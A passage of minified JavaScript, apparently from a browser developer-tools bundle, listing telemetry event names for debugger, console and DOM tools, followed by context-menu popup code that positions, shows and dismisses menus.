seDocument_Stop";e[e.Debugger_RevealRange_Start=314]="Debugger_RevealRange_Start";e[e.Debugger_RevealRange_Stop=315]="Debugger_RevealRange_Stop";e[e.Debugger_CallstackController_GoTo_Start=316]="Debugger_CallstackController_GoTo_Start";e[e.Debugger_CallstackController_GoTo_Stop=317]="Debugger_CallstackController_GoTo_Stop";e[e.Debugger_BreakpointController_SetAllEnabledStates_Start=318]="Debugger_BreakpointController_SetAllEnabledStates_Start";e[e.Debugger_BreakpointController_SetAllEnabledStates_Stop=319]="Debugger_BreakpointController_SetAllEnabledStates_Stop";e[e.Debugger_EditorWindow_NavigateTo_Start=320]="Debugger_EditorWindow_NavigateTo_Start";e[e.Debugger_EditorWindow_NavigateTo_Stop=321]="Debugger_EditorWindow_NavigateTo_Stop";e[e.Debugger_Editor_SetModel_Start=322]="Debugger_Editor_SetModel_Start";e[e.Debugger_Editor_SetModel_Stop=323]="Debugger_Editor_SetModel_Stop";e[e.Debugger_Editor_CreateModel_Start=324]="Debugger_Editor_CreateModel_Start";e[e.Debugger_Editor_CreateModel_Stop=325]="Debugger_Editor_CreateModel_Stop";e[e.Debugger_Editor_Create_Start=326]="Debugger_Editor_Create_Start";e[e.Debugger_Editor_Create_Stop=327]="Debugger_Editor_Create_Stop";e[e.Debugger_Editor_Layout_Start=328]="Debugger_Editor_Layout_Start";e[e.Debugger_Editor_Layout_Stop=329]="Debugger_Editor_Layout_Stop";e[e.Debugger_Editor_ChangeViewZones_Start=330]="Debugger_Editor_ChangeViewZones_Start";e[e.Debugger_Editor_ChangeViewZones_Stop=331]="Debugger_Editor_ChangeViewZones_Stop";e[e.Debugger_Editor_RevealPosition_Start=332]="Debugger_Editor_RevealPosition_Start";e[e.Debugger_Editor_RevealPosition_Stop=333]="Debugger_Editor_RevealPosition_Stop";e[e.Debugger_Editor_SaveViewState_Start=334]="Debugger_Editor_SaveViewState_Start";e[e.Debugger_Editor_SaveViewState_Stop=335]="Debugger_Editor_SaveViewState_Stop";e[e.Debugger_Editor_RestoreViewState_Start=336]="Debugger_Editor_RestoreViewState_Start";e[e.Debugger_Editor_RestoreViewState_Stop=337]="Debugger_Editor_RestoreViewState_Stop";e[e.Debugger_EditorWindow_CreateDataTipFromPosition_Start=338]="Debugger_EditorWindow_CreateDataTipFromPosition_Start";e[e.Debugger_EditorWindow_CreateDataTipFromPosition_Stop=339]="Debugger_EditorWindow_CreateDataTipFromPosition_Stop";e[e.Debugger_BreakpointController_SetEnabledState_Start=340]="Debugger_BreakpointController_SetEnabledState_Start";e[e.Debugger_BreakpointController_SetEnabledState_Stop=341]="Debugger_BreakpointController_SetEnabledState_Stop";e[e.Debugger_BreakpointController_BreakpointChanged_Start=342]="Debugger_BreakpointController_BreakpointChanged_Start";e[e.Debugger_BreakpointController_BreakpointChanged_Stop=343]="Debugger_BreakpointController_BreakpointChanged_Stop";e[e.Debugger_BreakpointWindow_BreakpointChanged_Start=344]="Debugger_BreakpointWindow_BreakpointChanged_Start";e[e.Debugger_BreakpointWindow_BreakpointChanged_Stop=345]="Debugger_BreakpointWindow_BreakpointChanged_Stop";e[e.Debugger_WatchWindowView_RefreshView_Start=346]="Debugger_WatchWindowView_RefreshView_Start";e[e.Debugger_WatchWindowView_RefreshView_Stop=347]="Debugger_WatchWindowView_RefreshView_Stop";e[e.Debugger_StepDocument_Start=348]="Debugger_StepDocument_Start";e[e.Debugger_ToggleJMC_Start=349]="Debugger_ToggleJMC_Start";e[e.Debugger_ToggleJMC_Stop=350]="Debugger_ToggleJMC_Stop";e[e.Debugger_ToggleCallstackLibraryFrames_Start=351]="Debugger_ToggleCallstackLibraryFrames_Start";e[e.Debugger_ToggleCallstackLibraryFrames_Stop=352]="Debugger_ToggleCallstackLibraryFrames_Stop";e[e.Debugger_SpecifyUrlAsJMCType_Start=353]="Debugger_SpecifyUrlAsJMCType_Start";e[e.Debugger_SpecifyUrlAsJMCType_Stop=354]="Debugger_SpecifyUrlAsJMCType_Stop";e[e.Debugger_Persistence_DataLoad_Start=355]="Debugger_Persistence_DataLoad_Start";e[e.Debugger_Persistence_DataLoad_Stop=356]="Debugger_Persistence_DataLoad_Stop";e[e.Debugger_Persistence_AddBreakpoints_Start=357]="Debugger_Persistence_AddBreakpoints_Start";e[e.Debugger_Persistence_AddBreakpoints_Stop=358]="Debugger_Persistence_AddBreakpoints_Stop";e[e.Debugger_Persistence_AddWatches_Start=359]="Debugger_Persistence_AddWatches_Start";e[e.Debugger_Persistence_AddWatches_Stop=360]="Debugger_Persistence_AddWatches_Stop";e[e.Debugger_Persistence_TabOpen_Start=361]="Debugger_Persistence_TabOpen_Start";e[e.Debugger_Persistence_TabOpen_Stop=362]="Debugger_Persistence_TabOpen_Stop";e[e.Debugger_Persistence_SaveState_Start=363]="Debugger_Persistence_SaveState_Start";e[e.Debugger_Persistence_SaveState_Stop=364]="Debugger_Persistence_SaveState_Stop";e[e.Debugger_SourceMap_ToggleSourceMap_Start=365]="Debugger_SourceMap_ToggleSourceMap_Start";e[e.Debugger_SourceMap_ToggleSourceMap_Stop=366]="Debugger_SourceMap_ToggleSourceMap_Stop";e[e.Debugger_SourceMap_ParseSourceMapAsync_Start=367]="Debugger_SourceMap_ParseSourceMapAsync_Start";e[e.Debugger_SourceMap_ParseSourceMapAsync_Stop=368]="Debugger_SourceMap_ParseSourceMapAsync_Stop";e[e.Debugger_Editor_GetOrCreateMode_Start=369]="Debugger_Editor_GetOrCreateMode_Start";e[e.Debugger_Editor_GetOrCreateMode_Stop=370]="Debugger_Editor_GetOrCreateMode_Stop";e[e.Debugger_OnAddDocuments_Info=371]="Debugger_OnAddDocuments_Info";e[e.Debugger_Intellisense_ListBox_Build_Start=372]="Debugger_Intellisense_ListBox_Build_Start";e[e.Debugger_Intellisense_ListBox_Build_Stop=373]="Debugger_Intellisense_ListBox_Build_Stop";e[e.Debugger_Intellisense_ListBox_Reset_Start=374]="Debugger_Intellisense_ListBox_Reset_Start";e[e.Debugger_Intellisense_ListBox_Reset_Stop=375]="Debugger_Intellisense_ListBox_Reset_Stop";e[e.Debugger_Intellisense_Menu_Filter_Start=376]="Debugger_Intellisense_Menu_Filter_Start";e[e.Debugger_Intellisense_Menu_Filter_Stop=377]="Debugger_Intellisense_Menu_Filter_Stop";e[e.Debugger_Intellisense_Menu_Layout_Start=378]="Debugger_Intellisense_Menu_Layout_Start";e[e.Debugger_Intellisense_Menu_Layout_Stop=379]="Debugger_Intellisense_Menu_Layout_Stop";e[e.Debugger_Intellisense_Provider_Get_Expression_Start=380]="Debugger_Intellisense_Provider_Get_Expression_Start";e[e.Debugger_Intellisense_Provider_Get_Expression_Stop=381]="Debugger_Intellisense_Provider_Get_Expression_Stop";e[e.Debugger_Intellisense_Provider_Update_Start=382]="Debugger_Intellisense_Provider_Update_Start";e[e.Debugger_Intellisense_Provider_Update_Stop=383]="Debugger_Intellisense_Provider_Update_Stop";e[e.Debugger_Intellisense_Provider_Get_Items_Start=384]="Debugger_Intellisense_Provider_Get_Items_Start";e[e.Debugger_Intellisense_Provider_Get_Items_Stop=385]="Debugger_Intellisense_Provider_Get_Items_Stop";e[e.Debugger_AsyncStackProvider_GetFrames_Start=386]="Debugger_AsyncStackProvider_GetFrames_Start";e[e.Debugger_AsyncStackProvider_GetFrames_Stop=387]="Debugger_AsyncStackProvider_GetFrames_Stop";e[e.Debugger_AsyncStackProvider_GetFrames_Timeout=388]="Debugger_AsyncStackProvider_GetFrames_Timeout";e[e.Console_Window_Create_Start=401]="Console_Window_Create_Start";e[e.Console_Window_Create_Stop=402]="Console_Window_Create_Stop";e[e.Console_Attach_Start=403]="Console_Attach_Start";e[e.Console_Attach_Stop=404]="Console_Attach_Stop";e[e.Console_Message_Start=405]="Console_Message_Start";e[e.Console_Message_Stop=406]="Console_Message_Stop";e[e.Console_Input_Start=407]="Console_Input_Start";e[e.Console_Input_Stop=408]="Console_Input_Stop";e[e.Console_Output_Start=409]="Console_Output_Start";e[e.Console_Output_Stop=410]="Console_Output_Stop";e[e.Console_Output_Render_Start=411]="Console_Output_Render_Start";e[e.Console_Output_Render_Stop=412]="Console_Output_Render_Stop";e[e.Console_Item_Toggle_Start=413]="Console_Item_Toggle_Start";e[e.Console_Item_Toggle_Stop=414]="Console_Item_Toggle_Stop";e[e.Console_HtmlLines_Expand_Start=415]="Console_HtmlLines_Expand_Start";e[e.Console_HtmlLines_Expand_Stop=416]="Console_HtmlLines_Expand_Stop";e[e.Console_Context_Menu_Loading_Start=417]="Console_Context_Menu_Loading_Start";e[e.Console_Context_Menu_Loading_Stop=418]="Console_Context_Menu_Loading_Stop";e[e.Console_Scroll_Start=419]="Console_Scroll_Start";e[e.Console_Scroll_Stop=420]="Console_Scroll_Stop";e[e.Console_Intellisense_ListBox_Build_Start=421]="Console_Intellisense_ListBox_Build_Start";e[e.Console_Intellisense_ListBox_Build_Stop=422]="Console_Intellisense_ListBox_Build_Stop";e[e.Console_Intellisense_ListBox_Reset_Start=423]="Console_Intellisense_ListBox_Reset_Start";e[e.Console_Intellisense_ListBox_Reset_Stop=424]="Console_Intellisense_ListBox_Reset_Stop";e[e.Console_Intellisense_Menu_Filter_Start=425]="Console_Intellisense_Menu_Filter_Start";e[e.Console_Intellisense_Menu_Filter_Stop=426]="Console_Intellisense_Menu_Filter_Stop";e[e.Console_Intellisense_Menu_Layout_Start=427]="Console_Intellisense_Menu_Layout_Start";e[e.Console_Intellisense_Menu_Layout_Stop=428]="Console_Intellisense_Menu_Layout_Stop";e[e.Console_Intellisense_Provider_Get_Expression_Start=429]="Console_Intellisense_Provider_Get_Expression_Start";e[e.Console_Intellisense_Provider_Get_Expression_Stop=430]="Console_Intellisense_Provider_Get_Expression_Stop";e[e.Console_Intellisense_Provider_Update_Start=431]="Console_Intellisense_Provider_Update_Start";e[e.Console_Intellisense_Provider_Update_Stop=432]="Console_Intellisense_Provider_Update_Stop";e[e.Console_Intellisense_Provider_Get_Items_Start=433]="Console_Intellisense_Provider_Get_Items_Start";e[e.Console_Intellisense_Provider_Get_Items_Stop=434]="Console_Intellisense_Provider_Get_Items_Stop";e[e.Console_Badge_Show_Start=435]="Console_Badge_Show_Start";e[e.Console_Badge_Show_Stop=436]="Console_Badge_Show_Stop";e[e.Dom_Window_Create_Start=501]="Dom_Window_Create_Start";e[e.Dom_Window_Create_Stop=502]="Dom_Window_Create_Stop";e[e.Dom_ExpandNode_Start=503]="Dom_ExpandNode_Start";e[e.Dom_ExpandNode_Stop=504]="Dom_ExpandNode_Stop";e[e.Dom_UndoRedo_Start=505]="Dom_UndoRedo_Start";e[e.Dom_UndoRedo_Stop=506]="Dom_UndoRedo_Stop";e[e.Dom_DragDrop_Start=507]="Dom_DragDrop_Start";e[e.Dom_DragDrop_Stop=508]="Dom_DragDrop_Stop";e[e.Dom_AddAttribute_Start=509]="Dom_AddAttribute_Start";e[e.Dom_AddAttribute_Stop=510]="Dom_AddAttribute_Stop";e[e.Dom_Intellisense_Start=511]="Dom_Intellisense_Start";e[e.Dom_Intellisense_Stop=512]="Dom_Intellisense_Stop";e[e.Dom_SelectElement_Start=513]="Dom_SelectElement_Start";e[e.Dom_SelectElement_Stop=514]="Dom_SelectElement_Stop";e[e.Dom_CutElement_Start=515]="Dom_CutElement_Start";e[e.Dom_CutElement_Stop=516]="Dom_CutElement_Stop";e[e.Dom_PasteElement_Start=517]="Dom_PasteElement_Start";e[e.Dom_PasteElement_Stop=518]="Dom_PasteElement_Stop";e[e.Dom_CollapseElement_Start=519]="Dom_CollapseElement_Start";e[e.Dom_CollapseElement_Stop=520]="Dom_CollapseElement_Stop";e[e.Dom_StylesTabLoad_Start=521]="Dom_StylesTabLoad_Start";e[e.Dom_StylesTabLoad_Stop=522]="Dom_StylesTabLoad_Stop";e[e.Dom_StylesTab_Intellisense_Start=523]="Dom_StylesTab_Intellisense_Start";e[e.Dom_StylesTab_Intellisense_Stop=524]="Dom_StylesTab_Intellisense_Stop";e[e.Dom_ComputedTabLoad_Start=527]="Dom_ComputedTabLoad_Start";e[e.Dom_ComputedTabLoad_Stop=528]="Dom_ComputedTabLoad_Stop";e[e.Dom_ChangesTabLoad_Start=529]="Dom_ChangesTabLoad_Start";e[e.Dom_ChangesTabLoad_Stop=530]="Dom_ChangesTabLoad_Stop";e[e.Dom_LayoutTabLoad_Start=531]="Dom_LayoutTabLoad_Start";e[e.Dom_LayoutTabLoad_Stop=532]="Dom_LayoutTabLoad_Stop";e[e.Dom_EventsTabLoad_Start=533]="Dom_EventsTabLoad_Start";e[e.Dom_EventsTabLoad_Stop=534]="Dom_EventsTabLoad_Stop";e[e.Dom_TreeItemCollapse_Start=535]="Dom_TreeItemCollapse_Start";e[e.Dom_TreeItemCollapse_Stop=536]="Dom_TreeItemCollapse_Stop";e[e.Dom_Search_Start=537]="Dom_Search_Start";e[e.Dom_Search_Stop=538]="Dom_Search_Stop";e[e.Dom_RemoteInjection_Start=539]="Dom_RemoteInjection_Start";e[e.Dom_RemoteInjection_Stop=540]="Dom_RemoteInjection_Stop";e[e.Dom_EnterEditAsHtml_Start=541]="Dom_EnterEditAsHtml_Start";e[e.Dom_EnterEditAsHtml_Stop=542]="Dom_EnterEditAsHtml_Stop";e[e.Dom_CommitEditAsHtml_Start=543]="Dom_CommitEditAsHtml_Start";e[e.Dom_CommitEditAsHtml_Stop=544]="Dom_CommitEditAsHtml_Stop";e[e.Dom_CommitEditAttribute_Start=545]="Dom_CommitEditAttribute_Start";e[e.Dom_CommitEditAttribute_Stop=546]="Dom_CommitEditAttribute_Stop";e[e.Dom_ShowColorPicker_Start=547]="Dom_ShowColorPicker_Start";e[e.Dom_ShowColorPicker_Stop=548]="Dom_ShowColorPicker_Stop";e[e.Dom_HideColorPicker_Start=549]="Dom_HideColorPicker_Start";e[e.Dom_HideColorPicker_Stop=550]="Dom_HideColorPicker_Stop";e[e.Dom_SetColorUsingColorPicker_Start=551]="Dom_SetColorUsingColorPicker_Start";e[e.Dom_SetColorUsingColorPicker_Stop=552]="Dom_SetColorUsingColorPicker_Stop";e[e.Emulation_Window_Create_Start=601]="Emulation_Window_Create_Start";e[e.Emulation_Window_Create_Stop=602]="Emulation_Window_Create_Stop";e[e.Generic_Debug_1_Start=701]="Generic_Debug_1_Start";e[e.Generic_Debug_1_Stop=702]="Generic_Debug_1_Stop";e[e.Generic_Debug_2_Start=703]="Generic_Debug_2_Start";e[e.Generic_Debug_2_Stop=704]="Generic_Debug_2_Stop";e[e.Generic_Debug_3_Start=705]="Generic_Debug_3_Start";e[e.Generic_Debug_3_Stop=706]="Generic_Debug_3_Stop";e[e.Generic_Debug_4_Start=707]="Generic_Debug_4_Start";e[e.Generic_Debug_4_Stop=708]="Generic_Debug_4_Stop";e[e.Generic_Debug_5_Start=709]="Generic_Debug_5_Start";e[e.Generic_Debug_5_Stop=710]="Generic_Debug_5_Stop";e[e.Generic_Debug_6_Start=711]="Generic_Debug_6_Start";e[e.Generic_Debug_6_Stop=712]="Generic_Debug_6_Stop";e[e.Generic_Debug_7_Start=713]="Generic_Debug_7_Start";e[e.Generic_Debug_7_Stop=714]="Generic_Debug_7_Stop";e[e.Generic_Debug_8_Start=715]="Generic_Debug_8_Start";e[e.Generic_Debug_8_Stop=716]="Generic_Debug_8_Stop";e[e.Generic_Debug_9_Start=717]="Generic_Debug_9_Start";e[e.Generic_Debug_9_Stop=718]="Generic_Debug_9_Stop";e[e.Header_InitializeTabs_Start=801]="Header_InitializeTabs_Start";e[e.Header_InitializeTabs_Stop=802]="Header_InitializeTabs_Stop";e[e.Shell_Load_Start=901]="Shell_Load_Start";e[e.Shell_Load_Stop=902]="Shell_Load_Stop";e[e.Shell_LaunchTool_Start=903]="Shell_LaunchTool_Start";e[e.Shell_LaunchTool_Stop=904]="Shell_LaunchTool_Stop";e[e.Shell_LaunchTool_Header_Start=905]="Shell_LaunchTool_Header_Start";e[e.Shell_LaunchTool_Header_Stop=906]="Shell_LaunchTool_Header_Stop";e[e.Shell_LaunchTool_Network_Start=907]="Shell_LaunchTool_Network_Start";e[e.Shell_LaunchTool_Network_Stop=908]="Shell_LaunchTool_Network_Stop";e[e.Shell_LaunchTool_Profiler_Start=909]="Shell_LaunchTool_Profiler_Start";e[e.Shell_LaunchTool_Profiler_Stop=910]="Shell_LaunchTool_Profiler_Stop";e[e.Shell_LaunchTool_Console_Start=911]="Shell_LaunchTool_Console_Start";e[e.Shell_LaunchTool_Console_Stop=912]="Shell_LaunchTool_Console_Stop";e[e.Shell_LaunchTool_Dom_Start=913]="Shell_LaunchTool_Dom_Start";e[e.Shell_LaunchTool_Dom_Stop=914]="Shell_LaunchTool_Dom_Stop";e[e.Shell_LaunchTool_Debugger_Start=915]="Shell_LaunchTool_Debugger_Start";e[e.Shell_LaunchTool_Debugger_Stop=916]="Shell_LaunchTool_Debugger_Stop";e[e.Shell_LaunchTool_Emulation_Start=917]="Shell_LaunchTool_Emulation_Start";e[e.Shell_LaunchTool_Emulation_Stop=918]="Shell_LaunchTool_Emulation_Stop";e[e.Shell_LaunchTool_MemoryAnalyzer_Start=921]="Shell_LaunchTool_MemoryAnalyzer_Start";e[e.Shell_LaunchTool_MemoryAnalyzer_Stop=922]="Shell_LaunchTool_MemoryAnalyzer_Stop";e[e.Shell_LaunchTool_VisualProfiler_Start=923]="Shell_LaunchTool_VisualProfiler_Start";e[e.Shell_LaunchTool_VisualProfiler_Stop=924]="Shell_LaunchTool_VisualProfiler_Stop";e[e.Shell_LaunchTool_Popup_Start=925]="Shell_LaunchTool_Popup_Start";e[e.Shell_LaunchTool_Popup_Stop=926]="Shell_LaunchTool_Popup_Stop";e[e.Shell_ShowTool_Network_Start=927]="Shell_ShowTool_Network_Start";e[e.Shell_ShowTool_Network_Stop=928]="Shell_ShowTool_Network_Stop";e[e.Shell_ShowTool_Profiler_Start=929]="Shell_ShowTool_Profiler_Start";e[e.Shell_ShowTool_Profiler_Stop=930]="Shell_ShowTool_Profiler_Stop";e[e.Shell_ShowTool_Console_Start=931]="Shell_ShowTool_Console_Start";e[e.Shell_ShowTool_Console_Stop=932]="Shell_ShowTool_Console_Stop";e[e.Shell_ShowTool_Dom_Start=933]="Shell_ShowTool_Dom_Start";e[e.Shell_ShowTool_Dom_Stop=934]="Shell_ShowTool_Dom_Stop";e[e.Shell_ShowTool_Debugger_Start=935]="Shell_ShowTool_Debugger_Start";e[e.Shell_ShowTool_Debugger_Stop=936]="Shell_ShowTool_Debugger_Stop";e[e.Shell_ShowTool_Emulation_Start=937]="Shell_ShowTool_Emulation_Start";e[e.Shell_ShowTool_Emulation_Stop=938]="Shell_ShowTool_Emulation_Stop";e[e.Shell_ShowTool_Popup_Start=939]="Shell_ShowTool_Popup_Start";e[e.Shell_ShowTool_Popup_Stop=940]="Shell_ShowTool_Popup_Stop";e[e.Shell_ShowTool_MemoryAnalyzer_Start=941]="Shell_ShowTool_MemoryAnalyzer_Start";e[e.Shell_ShowTool_MemoryAnalyzer_Stop=942]="Shell_ShowTool_MemoryAnalyzer_Stop";e[e.Shell_ShowTool_VisualProfiler_Start=943]="Shell_ShowTool_VisualProfiler_Start";e[e.Shell_ShowTool_VisualProfiler_Stop=944]="Shell_ShowTool_VisualProfiler_Stop";e[e.Shell_LaunchTool_Elements_Start=945]="Shell_LaunchTool_Elements_Start";e[e.Shell_LaunchTool_Elements_Stop=946]="Shell_LaunchTool_Elements_Stop";e[e.Shell_ShowTool_Elements_Start=947]="Shell_ShowTool_Elements_Start";e[e.Shell_ShowTool_Elements_Stop=948]="Shell_ShowTool_Elements_Stop";e[e.Shell_LoadHost_Start=949]="Shell_LoadHost_Start";e[e.Shell_LoadHost_Stop=950]="Shell_LoadHost_Stop";e[e.Network_Badge_Show_Start=1001]="Network_Badge_Show_Start";e[e.Network_Badge_Show_Stop=1002]="Network_Badge_Show_Stop";e[e.Debugger_OpenDocument_Start=308]="Debugger_OpenDocument_Start";e[e.Debugger_OpenDocument_Stop=309]="Debugger_OpenDocument_Stop";e[e.Debugger_SwitchDocument_Start=312]="Debugger_SwitchDocument_Start";e[e.Debugger_SwitchDocument_Stop=313]="Debugger_SwitchDocument_Stop"}(o||(o={}));t.b=o},function(e,t,n){"use strict";var o=n(96);n.d(t,"c",function(){return o.b});n.d(t,"e",function(){return o.c});n.d(t,"f",function(){return o.d});n.d(t,"b",function(){return o.a});n.d(t,"h",function(){return o.e});var r=n(88);n.d(t,"d",function(){return r.e});var i=n(156);n.d(t,"g",function(){return i.a});var a=n(155);n.d(t,"a",function(){return a.a})},function(e,t,n){"use strict";n.r(t);var o=n(0),r=n(10),i=n(139),a=n(20);class s extends i.a{constructor(){super();this._isListening=!1;Object(r.g)().listen("contextMenuPopupMessage",e=>{this._isListening&&this.onMessageFromPopup(e)});this.addEventListener("dismiss",()=>{this.dismiss()})}callback(e){Object(r.g)().broadcast("contextMenuPopupMessage",{name:"contextmenuclicked",id:e});return Promise.resolve(null)}triggerDismiss(){this.dispatchEvent("dismiss")}adjustShowCoordinates(e){return e}disableZoom(){}dismiss(){"ms:popup"!==Object(r.b)()&&Object(r.g)().call("ms:popup","hidePopup",[]);s.IsContextMenuActive=!1;if(this._isListening){this.dispatchEvent("contextmenudismissed",{id:this._menuId});this._isListening=!1}return Promise.resolve(null)}dismissCurrent(e){e||Object(r.g)().broadcast("contextMenuPopupMessage",{name:"contextmenudismissed"});return Promise.resolve(null)}dismissSubmenus(){return Promise.resolve(null)}fireContentReady(){document.getElementById("contextmenu").focus();return Promise.resolve(null)}show(e,t,n,o){a.a();this._menuId=e;this._currentDisplayInfo=s.adjustCoordinates(o.clientCoordinates.X,o.clientCoordinates.Y,o.width,o.height);this._isListening=!0;var i=JSON.stringify({contextMenus:n.innerHTML,id:this._menuId,ariaLabel:t});s.IsContextMenuActive=!0;var l={pluginId:Object(r.e)(),x:this._currentDisplayInfo.screenX,y:this._currentDisplayInfo.screenY,width:this._currentDisplayInfo.width,height:this._currentDisplayInfo.height,activate:!0,style:"",content:i,isTooltip:!1};return Object(r.g)().call("ms:popup","showPopup",[l])}onMessageFromPopup(e){switch(e.name){case"contextmenuclicked":this.dispatchEvent(e.name,{Id:e.id});break;case"contextmenudismissed":this.dispatchEvent("dismiss")}}static isContextMenuActive(){return s.IsContextMenuActive}static adjustCoordinates(e,t,n,o,r){let i=r?18:0,a=e+frameElement.offsetLeft,s=t+frameElement.offsetTop,l=Math.ceil(n),c=Math.ceil(o),u=frameElement?parent.document.documentElement.clientWidth:document.documentElement.clientWidth,d=frameElement?parent.document.documentElement.clientHeight:document.documentElement.clientHeight;s+=i;return{screenX:a=this.translateScalar(a,u,l),screenY:s=this.translateScalar(s,d,c),width:l,height:c}}static translateScalar(e,t,n){let o=t-(e+n);if(o>0)return e;let r=e+o;return r<0?0:r}handleMouseClick(e){(e.x<this._currentDisplayInfo.screenX||e.x>this._currentDisplayInfo.screenX+this._currentDisplayInfo.width||e.y<this._currentDisplayInfo.screenY||e.y>this._currentDisplayInfo.screenY+this._currentDisplayInfo.height)&&this.dismiss()}}s.IsContextMenuActive=!1;let l;function c(){l||(l=new s);return l}n.d(t,"initializeForPopup",function(){return p});n.d(t,"MenuItemType",function(){return f});n.d(t,"isShowing",function(){return T});n.d(t,"deleteIfExists",function(){return w});n.d(t,"dismissAll",function(){return k});n.d(t,"create",function(){return F});n.d(t,"positionHelpersShow",function(){return H});let u,d=!1;function h(){(u=c()).addEventListener("contextmenuclicked",function(e){let t=document.getElementById(e.Id);t&&t.click()})}function p(e){h();let t=document.getElementById("contextmenu");if(z(e.id)){t.innerHTML="";t.removeAttribute("aria-label");y.innerHTML=""}else{y.innerHTML=e.contextMenus;t.innerHTML=document.getElementById(e.id).innerHTML;e.ariaLabel&&0!==e.ariaLabel.length&&t.setAttribute("aria-label",e.ariaLabel);t.addEventListener("click",P,!1);t.addEventListener("contextmenu",P,!1);t.addEventListener("keydown",re,!1);let n=t.getElementsByClassName("menuitem");for(let e=0;e<n.length;e++){n[e].addEventListener("mouseover",q,!1);n[e].addEventListener("mouseout",X,!1);n[e].addEventListener("focus",J,!1);n[e].addEventListener("click",G,!1);n[e].addEventListener("contextmenu",G,!1);n[e].addEventListener("keydown",oe,!1)}t.style.display="block";t.setAttribute("tabindex","0");u.disableZoom();u.fireContentReady()}}let m=/url\(['"]?([^'"]*)['"]?\)/gm,g=/^[^\:\.]*$/;var f;!function(e){e[e.checkbox=0]="checkbox";e[e.command=1]="command";e[e.radio=2]="radio";e[e.separator=3]="separator"}(f||(f={}));let _,v,b,C=new Object,y=document.createElement("div");y.id="plugin-contextmenu-container";window.addEventListener("load",()=>document.body.appendChild(y));let E=!1,S=0;function T(){return 0!==S}function w(e){e in C&&N(e)}function k(){let e,t=[];for(let e in C)C.hasOwnProperty(e)&&t.push(C[e].dismiss());E&&t.push(u.dismiss());return e=Promise.all(t).then(()=>{})}function x(e){let t=e.offsetTop,n=e.offsetLeft;for(;e=e.offsetParent;){t+=e.offsetTop;n+=e.offsetLeft}return{left:n,top:t}}function I(e,t){return e<0||t<0||e>document.documentElement.clientWidth||t>document.documentElement.clientHeight}function O(e,t){let n=t.left+e.offsetWidth,o={left:window.pageXOffset,top:window.pageYOffset,right:window.pageXOffset+window.document.documentElement.clientWidth,bottom:window.pageYOffset+window.document.documentElement.clientHeight};return t.left>=o.left&&n<=o.right?e.offsetWidth:n<o.left||t.left>o.right?0:t.left<o.left&&n<=o.right?e.offsetWidth-(o.left-t.left):n>o.right&&t.left>=o.left?e.offsetWidth-(n-o.right):window.document.documentElement.clientWidth}function L(e,t){let n=t.top+e.offsetHeight,o={left:window.pageXOffset,top:window.pageYOffset,right:window.pageXOffset+window.document.documentElement.clientWidth,bottom:window.pageYOffset+window.document.documentElement.clientHeight};return t.top>=o.top&&n<=o.bottom?e.offsetHeight:n<o.top||t.top>o.bottom?0:t.top<o.top&&n<=o.bottom?e.offsetHeight-(o.top-t.top):n>o.bottom&&t.top>=o.top?e.offsetHeight-(n-o.bottom):window.document.documentElement.clientHeight}function D(e,t,n){let o;if(!e)return!1;let r=e;for(;e.parentElement;){if(null!==(o=e.getAttribute("data-plugin-contextmenu"))){let i=C[o],a={X:t,Y:n};"function"==typeof u.adjustShowCoordinates&&(a=u.adjustShowCoordinates(a));if(0===a.X&&0===a.Y){let e=x(r),t=O(r,e),n=L(r,e);if(0===t||0===n)a.X=a.Y=0;else{let o=t/2,i=n/2;e.left<window.pageXOffset||r.offsetWidth>window.document.documentElement.clientWidth?a.X=o:a.X=e.left-window.pageXOffset+o;e.top<window.pageYOffset||r.offsetHeight>window.document.documentElement.clientHeight?a.Y=i:a.Y=e.top-window.pageYOffset+i}}I(a.X,a.Y)&&(a.X=a.Y=0);i.show(a.X,a.Y,0,e.id);return!0}if(!(e=e.parentElement))return!1}return!1}document.addEventListener("keydown",function(e){if("F10"===e.key&&e.shiftKey&&!e.altKey&&!e.ctrlKey){D(document.activeElement,0,0)&&e.preventDefault()}},!1);document.addEventListener("contextmenu",function(e){D(e.target,e.clientX,e.clientY);e.preventDefault()},!1);function R(e){let t=e.target;for(;t;){if(t.hasAttribute("data-plugin-is-contextmenu"))return;t=t.parentElement}k()}document.addEventListener("mousedown",R,!0);window.addEventListener("resize",function(){k()},!1);function P(e){e.stopPropagation();e.preventDefault()}class M{constructor(e,t,n,o){this.target=e;this.type=t;this.listener=n;this.useCapture=o}install(){this.target.addEventListener(this.type,this.listener,this.useCapture)}uninstall(){this.target.removeEventListener(this.type,this.listener,this.useCapture)}}class A{constructor(e,t,n,r,a,s,l){this.disposableEventListeners=[];this._canUsePopup=!0;if(null===e||void 0===e||0===e.length)throw new Error(Object(o.a)("JSPlugin.5006"));e.some(e=>!!e.submenu&&e.submenu.length>0)&&(this._canUsePopup=!1);if("string"!=typeof t&&!z(t))throw new Error(Object(o.a)("JSPlugin.5015"));this.id=z(t)?U("plugin-contextmenu"):t;this.ariaLabel=n;if(!z(C[this.id]))throw new Error(Object(o.a)("JSPlugin.5007"));if("string"!=typeof r&&!z(r))throw new Error(Object(o.a)("JSPlugin.5016"));this.callback=a;this.eventManager=new i.a;let c=document.createElement("ul");c.id=this.id;c.setAttribute("role","menu");if(!z(s)){let e=function(e){return function(){e.dispatchEvent("show")}};this.addDisposableEventListener(s,"show",e(this.eventManager));c.setAttribute("plugin-contextmenu-parent",l)}c.className="plugin-contextmenu";z(r)||c.classList.add(r);c.setAttribute("data-plugin-is-contextmenu","true");let d=1;for(let t in e){if(!e.hasOwnProperty(t))continue;let n=document.createElement("li");n.className="menuitem";if(e[t].type!==f.separator){n.setAttribute("tabIndex",d.toString());d++}let i="";switch(e[t].type){case f.checkbox:i="menuitemcheckbox";break;case f.command:i="menuitem";break;case f.separator:i="separator";break;case f.radio:i="menuitemradio"}n.setAttribute("role",i);let a=e[t].id;n.id=z(a)?U("plugin-contextmenuitem"):a;let s=document.createElement("div");s.className="main";let l=e[t].label,u=z(l);if(u&&e[t].type!==f.separator||"string"!=typeof l&&!u)throw new Error(Object(o.a)("JSPlugin.5018"));u||(s.innerText=l);n.appendChild(s);let h=e[t].iconEnabled;if(!z(h)&&"string"!=typeof h)throw new Error(Object(o.a)("JSPlugin.5019"));let p=e[t].iconDisabled;if(!z(p)&&"string"!=typeof p)throw new Error(Object(o.a)("JSPlugin.5020"));let v=document.createElement("img");v.className="icon";v.style.display="none";n.appendChild(v);let b=e[t].accessKey;if(!z(b)&&"string"!=typeof b)throw new Error(Object(o.a)("JSPlugin.5021"));let C=document.createElement("div");C.className="shortcut";z(b)||(C.innerText=b);n.appendChild(C);let y=e[t].callback;z(y)&&(y=this.callback);if("function"!=typeof y&&e[t].type!==f.separator)throw new 